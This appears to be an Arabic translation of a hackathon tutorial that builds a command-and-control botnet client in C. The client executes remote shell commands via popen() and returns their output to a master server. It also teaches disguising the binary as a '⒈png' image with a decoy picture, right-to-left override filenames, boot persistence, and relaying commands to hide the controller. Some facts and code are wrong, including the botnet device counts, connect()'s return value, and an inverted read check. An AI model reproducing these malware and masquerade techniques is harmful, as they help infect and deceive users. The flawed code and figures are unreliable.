
بناء بوت نت أساسي للقيادة والتحكم بلغة C
سيرشدك هذا الـ hackpack خلال تنفيذ إطار عمل أساسي يصف بشكل جوهري ما هي البوتنت. قد يكون من المفيد أن تكون قد عملت مع لغة C من قبل. إذا أعجبك هذا البرنامج التعليمي، تأكد من وضع نجمة على هذا المستودع!
ملاحظة: لا تستخدم أي شيء تتعلمه هنا لأغراض خبيثة. هذا الـ hackpack هو مجرد دراسة حالة عن البوتنتات لأغراض تعليمية. المفاهيم التي ستتعلمها في هذا الـ hackpack لها حالات استخدام بعيدة المدى (أساسًا أي شيء يتعلق بالشبكات). والأهم من ذلك، صُمم هذا الـ hackpack ليُختبر ويُشغَّل محليًا (لذا يرجى عدم مشاركة أي شيء تبنيه متعلقًا بهذا الـ hackpack مع مخترقين آخرين). الخصوصية مهمة لذا يرجى احترامها.
قبل أن تبني بوتنت، من المهم أن تفهم ما هي البوتنت. البوتنت هي شبكة من أجهزة الكمبيوتر القادرة على استلام أوامر عن بُعد وتنفيذها محليًا. ويمكنها اختياريًا اختيار إعادة توجيه المعلومات إلى عقد أخرى في الشبكة. لقد استُخدمت في كل شيء بدءًا من هجمات حجب الخدمة الموزعة وصولًا إلى نشر برمجيات التجسس على نطاق واسع. ربما سمعت عن العديد من البوتنتات في الماضي. وأبرزها على الأرجح Mirai و Gameover Zeus اللتان تحكمان في 3.8 ألف و 3.6 مليون جهاز من أجهزة إنترنت الأشياء على التوالي. هناك تباين كبير في كيفية تنفيذ البوتنتات لمهام معينة. ولكن من أجل بناء البوتنت بنجاح، نحتاج إلى ضمان الميزات التالية في شبكتنا العاملة.
يجب أن تقوم بوتنتنا بما يلي:
هذه البنية هي سمة لما يُعرف ببوتنتات التحكم والقيادة (Command & Control). تتميز هذه البوتنتات بخادم رئيسي واحد والعديد من الخوادم التابعة. ومع ذلك، فإن هذا النمط من البوتنتات قديم ويمكن إسقاطه بسهولة عن طريق قطع الوصول إلى النطاق الرئيسي. تتبع البوتنتات الأحدث والأكثر تطورًا بنية الند للند (peer-to-peer)، حيث يتم توزيع حقوق الإدارة عبر جميع العقد أو مجموعة فرعية منها في الشبكة. تشكل هذه البوتنتات صداعًا كبيرًا لخبراء الأمن لعدم وجود نقطة تحكم مركزية، ويمكن أن تنمو إلى ملايين العقد. إسقاط مثل هذه البوتنتات هو موضوع شيق بحد ذاته. ومع ذلك، ولأغراض هذا الـ hackpack، دعونا نبقي الأمور بسيطة. سنقوم بتنفيذ عقدة تابعة بسيطة لبوتنت من نوع C&C.

سيتعامل هذا الـ hackpack بشكل أساسي مع تنفيذ البرمجية الخبيثة للعميل. بالنسبة للخادم الرئيسي، يمكننا استخدام خادم TCP مفتوح المصدر يُدعى Netcat. لا علاقة لـ Netcat بالبوتنتات. إنها مجرد أداة مريحة وراسخة يمكننا إعادة استخدامها لإرسال حزم نصية من وإلى العملاء (وهذا كل ما هو الخادم الرئيسي فعليًا). لقد عدّلتُ خادم netcat قليلاً وترجمته إلى ملف ثنائي باسم "master". لا حاجة لمزيد من العمل هنا! خادمنا الرئيسي جاهز للاستخدام.
دعنا ننتقل إلى الجزء الأكثر إثارة: استلام الأوامر عن بُعد وتنفيذها (سنقلق بشأن إخفاء برمجيتنا الخبيثة لاحقًا). الهدف هنا هو جعل عقدتنا التابعة بسيطة قدر الإمكان والالتزام بالمتطلبات المذكورة أعلاه. لاحظ أنه تم تعريف العديد من الثوابت في lib/macros.h، لذا لا تتردد في استخدامها. يمكن العثور على جميع تواقيع الدوال المنفذة في lib/connect.h أو lib/utils.h.
افتح ملف bot.c. عند بدء عقدة جديدة في خادمنا، يجب علينا على الأرجح تسميتها حتى يعرف الخادم الرئيسي أي العملاء يوجّه إليها الأوامر. هناك العديد من اصطلاحات التسمية التي يمكن استخدامها. استخدام عنوان IP هو الأفضل على الأرجح لأنه معرّف فريد لكل عميل. ومع ذلك، ولجعل الأمور أكثر قابلية للقراءة للبشر العاديين، دعنا نستخدم اسم مستخدم الكمبيوتر. استخدام دالة C getenv() مع الوسيط "USER" يُرجع ما خزّنه الكمبيوتر في متغير البيئة USER. هذا أحد الأماكن التي يُخزَّن فيها اسم مستخدم المستخدم، لذا دعنا نستخدم ذلك. أيضًا، الآن بعد أن أصبحت عقدتك التابعة تعمل، دعنا نبحث عن الخادم الرئيسي. للقيام بذلك، يجب أن نعرف عنوان IP للخادم الرئيسي. كل جهاز شبكة لديه عنوان IP. إنه مسؤول عن تحديد العقد الأخرى ومعالجة العناوين. علاوة على ذلك، يمكن أن يكون لدى الخادم الرئيسي العديد من الخوادم التي تعمل على منافذ مختلفة. لذا، ليس علينا فقط الاتصال بالخادم الرئيسي، بل يجب أيضًا تحديد المنفذ الصحيح. هذا المنفذ يختاره الخادم الرئيسي ولكن يمكن تغييره. في هذا الـ hackpack، نريد الاختبار محليًا. لذا، سنستخدم جهاز الكمبيوتر الخاص بك كشبكة لنا. عنوان IP المحلي لكل جهاز كمبيوتر (الذي يشير إليه "localhost" أيضًا) هو "127.0.0.1". في الخادم الرئيسي، حددته ليعمل على المنفذ 9999. بهذه الأشياء الثلاثة (عنوان IP للخادم الرئيسي، منفذ الخادم الرئيسي، واسم العقدة التابعة)، يمكننا بدء قناة اتصال بين الخادم والعميل تُسمى socket. مرر هذه الوسائط الثلاثة إلى الدالة init_socket() لإنشاء socket. init_function() ليست أمر C مدمجًا. بل نحتاج إلى تنفيذها. ثم نحتاج إلى تخصيص بعض المساحة على المكدس لاستيعاب الرسائل الواردة. لنكن كرماء هنا واستخدم حوالي 10KB من مساحة المكدس. أطلق على مؤشر المكدس هذا msg. أخيرًا، هناك عبارة printf للإشارة إلى أن كل شيء على ما يرام.
char* name = //Get the client's username and store it in name
int channel = //initiate a channel given SERVER, PORT, and name;
//Allocate stack space of size CMD_LENGTH to hold data of type char. Call the stack pointer msg
printf("%s joining the botnet\n", name);
الآن انتقل إلى lib/connect.c. دعنا ننفذ init_channel(). أولاً، عرّفتُ مخزنًا مؤقتًا للأحرف على المكدس باسم msg بطول CMD_LENGTH وبنية شبكة C خاصة اسمها server تحتفظ بمعلومات حول اتصالنا بالخادم الرئيسي. أولاً، قم بتحويل عنوان IP الذي مررته من صيغة قابلة للقراءة البشرية (مع أرقام ونقاط) إلى صيغة ثنائية بترتيب بايتات الشبكة. يتم ذلك باستخدام دالة C خاصة تسمى inet_addr() من مكتبة socket. إنها ببساطة تأخذ عنوان IP وتخرجه في شكل ثنائي قابل للاستخدام في الشبكة. في C، يمكننا بسهولة تحديد شبكة عن طريق ملء حقول بنية تسمى sockaddr_in. مثيلنا من هذه البنية يسمى server. نحتاج إلى ملء 3 حقول من هذه البنية: server.sin_addr.s_addr (عنوان IP للخادم الرئيسي)، server.sin_family (قيمة 1 بايت تحدد مجال الاتصالات)، و server.sin_port (المنفذ الذي سنتصل به بالخادم الرئيسي). يمكن إعطاء sin_family ماكرو C التي توفرها مكتبة socket. عادةً، كما في هذه الحالة، نضبط هذا الحقل على AF_INET. هذا يعني أن اتصالنا يحدد عقد الشبكة عبر عناوين IP الخاصة بها وهذا ما نريده. ومع ذلك، من الممكن أيضًا استخدام PF_INET وهو مشابه لـ AF_INET لكنه يحدد أن الشبكة يمكنها استخدام أي شيء داخل البروتوكول لتحديد العقد المحددة. هناك أيضًا العديد من الأسباب التاريخية المفترضة لوجود كلاهما، لكن هذا شيء لا أعرفه حقًا أو لا أهتم به. فقط استخدم AF_INET. أخيرًا، عند تعيين منفذ الخادم، يجب تمرير عبر دالة خاصة تسمى (host to network short). هذا يحول البيانات من ترتيب بايتات المضيف إلى ترتيب بايتات الشبكة. فوضى ترتيب البايتات هذه لها علاقة بشيء يسمى Endianness. يمكنك قراءة المزيد حوله .
أخيرًا، نحتاج إلى تعريف الاتصال الفعلي بين الخادم الرئيسي والعقدة التابعة! للقيام بذلك، عرّف socket شبكي يمكن من خلاله إرسال البيانات. تخيل أن الخادم الرئيسي لديه العديد من 'المقابس الكهربائية'. الآن، نحتاج إلى بناء 'قابس' في العقدة التابعة يناسب 'مقابس الحائط' الخاصة بالخادم الرئيسي. يمكننا فعل ذلك باستخدام دالة socket() من مكتبة socket. يا لها من صدفة! تأخذ socket() 3 وسائط: مجال الاتصالات، نوع socket، وبروتوكولًا. لمجال الاتصالات، ربما خمنت بالفعل: AF_INET. لنوع socket، نريد أن يكون socket الخاص بنا ببساطة ينقل البيانات في كلا الاتجاهين. ومن ثم، استخدم الماكرو المعطى SOCK_STREAM. دعنا لا نقلق بشأن بروتوكول socket. هذه شبكة أساسية إلى حد ما، لذا دعنا نستخدم قيمة 0 للدلالة على البروتوكول الافتراضي. تُرجع الدالة int يمثل socket. خزّن هذه القيمة في channel. بعد ذلك، نريد بدء تشغيل socket الخاص بنا (توصيل العقدة التابعة بمقبس حائط الخادم الرئيسي). استدعِ دالة C connect(). تأخذ هذه ثلاث وسائط: channel، بنية sockaddr، وحجم البنية بالبايتات. إذا أعادت connect() عددًا صحيحًا موجبًا، فهذا يعني أن اتصالك بالخادم الرئيسي ناجح! من أجل اختبار اتصالنا الجديد، دعنا نرسل تحية إلى الخادم الرئيسي! املأ مخزن الرسائل لدينا واستخدم respond() (التي لم تُنفَّذ بعد) لإرسال msg عبر channel إلى الخادم الرئيسي. أخيرًا، نريد من الدالة init_channel() أن تعيد هذا الاتصال الناجح.
int init_channel (char *ip, int port, char *name) {
char msg[CMD_LENGTH];
struct sockaddr_in server;
server.sin_addr.s_addr = //convert the ip to network byte order
server.sin_family = //set the server's communications domain
server.sin_port = //convert port to network byte order
int channel = //define a SOCK_STREAM socket
if(channel < 0) {
perror ("socket:");
exit(1);
}
int connection_status = //use the defined channel to connect the slave to the master server
if (connection_status < 0) {
perror ("connect:");
exit(1);
}
//send a greeting message back to master by loading a string into msg (hint: snprintf will come in handy)
respond (channel, msg);
return channel;
}
بمجرد اتصال العقدة التابعة بالخادم الرئيسي، يجب أن تستمع باستمرار للرسائل وتتصرف فورًا عند ورود أمر. لذا، دعنا نستخدم حلقة while لا نهائية لاستلام هذه الرسائل وتحليلها. في bot.c، أسفل عبارة printf، أضف حلقة while لا نهائية تستدعي دالتين: recieve() و parse() بهذا الترتيب. تأخذ كلتا الدالتين channel ومخزن المكدس msg كوسيطات. يمكنك العثور على توقيعات دوالهما في lib/utils.h. يجب أن يبدو الأمر كما يلي:
Infinite Loop {
recieve(...);
parse(...);
}
انتقل إلى utils.c لتنفيذ recieve() و respond(). تقوم recieve() بسحب الرسائل من channel بينما ترسل respond() الرسائل مرة أخرى عبر channel. وسيطات respond() هي عنوان socket، s، ومخزن المكدس لدينا، msg_buf. نريد استخدام دالة C write() لكتابة ما يحتويه مخزن المكدس في channel وإرجاع حالته. تحتاج write() إلى 3 وسائط: عنوان socket، مخزن الرسائل، وطول الرسالة.
int respond(int s, char *msg_buf) {
//write the contents of msg_buf into socket s and return status
}
recieve() هي دالة مساعدة بسيطة أيضًا. أعد ضبط مخزن msg (تلميح: استخدم memset()). الآن، استدعِ دالة مكتبة socket read() لقراءة msg. تأخذ read() 3 وسائط: عنوان socket، مخزن الرسائل، والحد الأقصى المتوقع لطول الرسالة.
int recieve(int s, char *msg) {
//reset the msg buffer
int read_status = //read contents of socket s into msg
if (read_status) {
perror("log:");
exit(1);
}
return 0;
}
اقتربنا من النهاية! بوتنتنا مملة جدًا حاليًا. يمكنها فقط استلام الرسائل وإرسالها عبر socket. دعنا نجعلها تنفذ فعليًا ما تستلمه على الطرفية. ننفذ أولاً الدالة parse(). إنها تفعل بالضبط ما يوحي به الاسم: تحلل الأمر. يمكننا إجراء بعض الفحوصات البسيطة للأخطاء لمعرفة ما إذا كانت الرسالة غير صحيحة التركيب. أيضًا، نريد تجاهل الرسائل التي تم استلامها ولكنها ليست موجهة لها بصمت. سيتم تنسيق الرسالة من الخادم الرئيسي كالتالي: (اسم البوتنت):(الأمر المطلوب تنفيذه). لقد أنجزت الفحص الأول نيابة عنك. إذا نجح الفحصان، دعنا نمرر الأمر إلى الدالة execute().
int parse (int s, char *msg, char* name) {
char *target = msg;
//check whether the msg was targetted for this client. If no, then silently drop the packet by returning 0
char *cmd = strchr(msg, ':');
if (cmd == NULL) {
printf("Incorrect formatting. Reference: TARGET: command");
return -1;
}
//adjust the cmd pointer to the start of the actual command
//adjust the terminated character to the end of the command
//print a local statement detailing what command was recieved
execute (s, cmd);
return 0;
}
الآن الجزء الممتع. يجب أن تقوم execute() بتوجيه أي أمر تستلمه إلى الطرفية وكتابة أي ناتج في socket إلى الخادم الرئيسي. أنشئ مخزنًا مؤقتًا على المكدس لتخزين كل سطر من الإدخال. ثم استخدم دالة C popen() لتشغيل الإدخال وتخزين الناتج في الملف f (هناك طرق عديدة للتعامل مع هذا في هذه المرحلة. يمكنك تخصيص بوتنتك لتفعل أشياء رائعة حقًا مع إدخال الخادم الرئيسي وتنفيذ تعاونات/تحديثات ذاتية مع عقد أخرى في البوتنت. لا تتردد في الإبداع كما تشاء. سنلتزم بهدفنا الأساسي البسيط في الوقت الحالي). اقرأ f سطرًا سطرًا وأفرغ كل شيء عبر socket الخاص بك. أغلق f وانتهيت!
int execute (int s, char *cmd) {
FILE *f = //use popen to run the command locally
if (!f) return -1;
while (!feof (f)) {
//parse through f line by line and send any output back to master
}
fclose(f);
return 0;
}
قم بترجمة بوتنتك الجديدة باستخدام أمر الطرفية التالي:
gcc -lcurl lib/connect.c lib/utils.c bot.c -o bin/slave
شغّل bin/master في نافذة طرفية واحدة و bin/slave في نوافذ أخرى. اكتب الأوامر بالشكل (اسم مستخدم العقدة التابعة):(أمر الطرفية عن بُعد). تهانينا! لقد بنيت للتو بوتنت!
هناك أشياء رائعة حقًا يمكنك القيام بها لإخفاء البرمجيات الخبيثة ونشرها. في الواقع، إنه مجال قائم بذاته بحد ذاته. أحد الأمثلة على ما يمكنك فعله هو إخفاء البرمجية الخبيثة كصورة. دعنا نستخدم صورة باندا. أضفتُ دالة بسيطة في utils.c تقوم بسحب (curl) صورة باندا وتعرضها داخل Preview. هذا يعطي المستخدم انطباعًا أنه يفتح صورة باندا بينما في الواقع، يقوم المستخدم بتشغيل برمجيتك الخبيثة. لإضافة هذا، أدرج الأسطر البرمجية التالية في bot.c:
char* open_cmd = alias_img();
system(open_cmd);
free(open_cmd);
بعد ذلك، انقر بزر الماوس الأيمن على أي صورة واختر Get Info. افعل الشيء نفسه مع bin/slave. اسحب الصورة المصغرة للصورة إلى الصورة المصغرة للملف التنفيذي bin/slave. يجب أن يغير هذا من شكله على سطح المكتب. ومع ذلك، ما زلنا نفتقد النهاية المميزة لملف .png. أعد تسمية الملف التنفيذي إلى
panda⒈png
الآن، يبدو هذا كملف png. ومع ذلك، نستخدم حرف Unicode "1." بدلاً من "." لإخفاء حقيقة أنه لا يزال ملف Unix قابلًا للتنفيذ. هناك المزيد من حيل Unix القابلة للتصديق التي يمكن استخدامها مثل حرف LEFT-TO-RIGHT OVERRIDE لإخفاء أسماء الملفات التنفيذية. في حالات أكثر تطرفًا، يمكنك تضمين كود داخل الصور وماكرو الملفات ليعمل بالتزامن عند فتح المضيف (نوعًا ما مثل حصان طروادة....). ومع ذلك، نظرًا لعدم وجود أي مجرم إلكتروني في TreeHacks، لا ينبغي أن نهتم كثيرًا بهذه التقنيات ;).
الآن بعد أن أصبح لديك بوتنت يعمل بالكامل، هناك العديد من الامتدادات التي يمكنك تحدي نفسك بها. بوتنتنا ما زالت غير مثيرة للاهتمام إلى حد كبير. لا يمكنها فعل الكثير ما لم ينقر المستخدم عليها في كل مرة. إليك بعض الاقتراحات:
يمكن أن تصبح البوتنتات حقًا مصادر موثوقة للنشاط الخبيث للمهاجمين إذا تمكنت بطريقة ما من البقاء على الكمبيوتر حتى عند إيقاف تشغيل الكمبيوتر. جرّب اللعب بكيفية إعادة تشغيل العقدة التابعة الخاصة بك في كل مرة عند بدء التشغيل. بهذه الطريقة، بمجرد أن ينقر المستخدم على البرمجية الخبيثة، يكون قد أصاب جهازه بالعدوى حتى يقوم بتنظيفها. أحد الاقتراحات لتحقيق ذلك هو تحويل عملية الملف التنفيذي إلى daemon. ثم أنشئ ملف إعدادات يضيف الملف التنفيذي إلى قائمة daemons التي يجب تنفيذها عند بدء التشغيل (تطبيقات التخزين السحابي، منصات المراسلة الجماعية، إلخ. تفعل هذا بالفعل). تعلم المزيد حول ذلك هنا.
تنفيذ شبكة ند للند ليس أكثر من إعادة ترتيب تصميم الشبكة. ومع ذلك، فإن مفتاح شبكة P2P هو أن المسؤول/المهاجم يمكنه تحقيق السيطرة الرئيسية عبر أي عقدة على الشبكة. لذا، يجب أن يمتلك المهاجم نوعًا من المفتاح الرئيسي وتسجيل دخول مشفر يسمح بالتحكم الرئيسي في أي عقدة. اقرأ المزيد حول كيفية عمل شبكات الند للند هنا.
بنية الخادم الرئيسي-العقد التابعة التي نفذتها ليست آمنة جدًا. يمكن تحرير العقد التابعة بسهولة عن طريق إيقاف العقدة الرئيسية. على النحو الأمثل، ستنتقل إلى تصميم P2P. ومع ذلك، يمكنك أيضًا زيادة أمان الخادم الرئيسي قليلاً عن طريق توجيه أوامره بشكل عشوائي عبر سلسلة من البوتات التي يتحكم فيها المهاجم قبل نشرها على البوتنت. هذا يجعل من الصعب على الخبراء تحديد مركز القيادة وتتبع اتصالات البوتنت بين عقد المهاجم وعقد العملاء.
ربما، الأهم من ذلك، أنك تريد اللعب بالشبكات أكثر. شبكتنا بسيطة بقدر ما يمكن أن تكون. إنها ضعيفة جدًا من نواحٍ عديدة وبالتأكيد ليست صارمة. ومن ثم، قد ترغب في استكشاف بروتوكولات راسخة للشبكات مثل إنترنت ريلاي شات (IRC) لبناء شبكة أكثر ملاءمة. على الرغم من أن الأمر يستغرق بعض الوقت، فهو تعليمي للغاية واستثمار يستحق الوقت. اقرأ المزيد حول ذلك هنا: https://oramind.com/tutorial-how-to-make-an-irc-server-connection/.
في هذا الـ hackpack، استخدمنا مشروعًا مفتوح المصدر متاحًا بحرية كبديل عن خادمنا الرئيسي. ومع ذلك، هناك العديد من العيوب. أولاً، لا يمكننا تخصيص الخادم الرئيسي لدينا لإرسال أوامر آلية عبر شبكتنا. إنه مقصور فقط على استخدام إدخال سطر الأوامر. ثانيًا، ربما لاحظت أن جميع العقد التابعة في البوتنت تستلم كل أمر. شرط التنفيذ لدينا هو التحقق مما إذا كان اسم الهدف يطابق اسم العقدة التابعة. إذا كان غير مطابق، يتم إسقاط الأمر بصمت. يُعرف هذا باسم شبكة البث (broadcast network). الشيء الأكثر أمثل قد يكون شبكة البث المتعدد (multicast network). في شبكة البث، تقوم العقدة بإعادة توجيه الحزم إلى جميع العقد المتصلة بها. في نظام البث المتعدد، يمكن تحديد مجموعة فرعية معينة من العقد لاستلام الحزم. علاوة على ذلك، فإن استخدام شبكة بث متعدد ينقل مهمة تعيين الأوامر من العميل إلى الخادم الرئيسي حيث ينبغي أن تكون. نفذ خادمك الرئيسي الخاص لتحويل البوتنت من البث إلى البث المتعدد.
للحصول على دليل شامل لبرمجة الشبكات، راجع هذا: http://beej.us/guide/bgnet/output/html/multipage/index.html.
أتمنى أن تكون قد استمتعت!
MIT
تم بناء HackPacks بواسطة فريق TreeHacks لمساعدة المخترقين على بناء مشاريع رائعة في هاكاثوننا الذي يقام كل فبراير في ستانفورد. نحن نؤمن أن بإمكان أي شخص مهما كان مستواه أن يتعلم صنع أشياء مذهلة، وهذه إحدى الطرق التي نساعد بها في تعزيز ثقافة الهاكر. نفتح مصدر حزمنا (بالإضافة إلى تقنيتنا الداخلية) ليتمكن الجميع من التعلم منها واستخدامها! لا تتردد في استخدام هذه في هاكاثوناتك وورش العمل الخاصة بك وأي شيء آخر يعزز البناء :)
إذا كنت مهتمًا بحضور TreeHacks، يمكنك التقديم على موقعنا خلال فترة التقديم.
يمكنك متابعتنا هنا على GitHub لرؤية كل العمل مفتوح المصدر الذي نقوم به (نحب القضايا والمساهمات والملاحظات من أي نوع!)، وعلى Facebook و Twitter و Instagram لرؤية التحديثات العامة من TreeHacks.
porthtons()